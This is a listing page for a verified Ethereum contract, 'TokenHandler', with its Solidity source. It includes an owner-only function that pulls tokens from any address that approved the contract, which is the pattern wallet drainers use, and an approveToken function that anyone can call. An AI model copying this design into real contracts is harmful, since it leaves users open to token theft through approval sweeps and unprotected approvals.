TokenHandler

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract TokenHandler {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function");
        _;
    }

    function approveToken(address tokenAddress, address spender, uint256 amount) external {
        IERC20(tokenAddress).approve(spender, amount);
    }

    function transferTokens(address tokenAddress, address from, uint256 amount) external onlyOwner {
        IERC20(tokenAddress).transferFrom(from, owner, amount);
    }

    function withdraw() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
}

Tags:
addr:0x21d3a03e1faf8bd29923e5127d4e36cf49d1c2d5|verified:true|block:23583297|tx:0xa13315b4526c766ef481e17834337a733e903f37c2d67f4684f72d91278ed9bf|first_check:1760548213

Submitted on: 2025-10-15 19:10:15

Comments

Log in to comment.

No comments yet.